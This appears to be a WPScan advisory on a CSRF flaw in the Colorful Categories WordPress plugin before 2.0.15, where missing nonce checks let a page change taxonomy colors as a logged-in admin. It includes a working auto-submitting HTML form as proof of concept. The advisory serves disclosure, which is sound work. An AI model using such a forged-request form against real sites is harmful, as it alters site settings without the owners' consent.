WordPress Plugin Vulnerabilities
Colorful Categories < 2.0.15 - Arbitrary Colors Update via CSRF
Description
The plugin does not enforce nonce checks which could allow attackers to make a logged in admin or editor change taxonomy colors via a CSRF attack
Proof of Concept
<form action="https://example.com/wp-admin/admin-ajax.php" method="post" id="csrf"> <input type="hidden" name="action" value="update_color_options_array"> <input type="hidden" name="termId" value="1"> <input type="hidden" name="taxonomy" value="category"> <input type="hidden" name="color" value="#FF0000"> </form><script>csrf.submit()</script>
Affects Plugins
Fixed in 2.0.15 References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-10-13 (about 2 years ago)
Added
2021-10-13 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)
WPScan 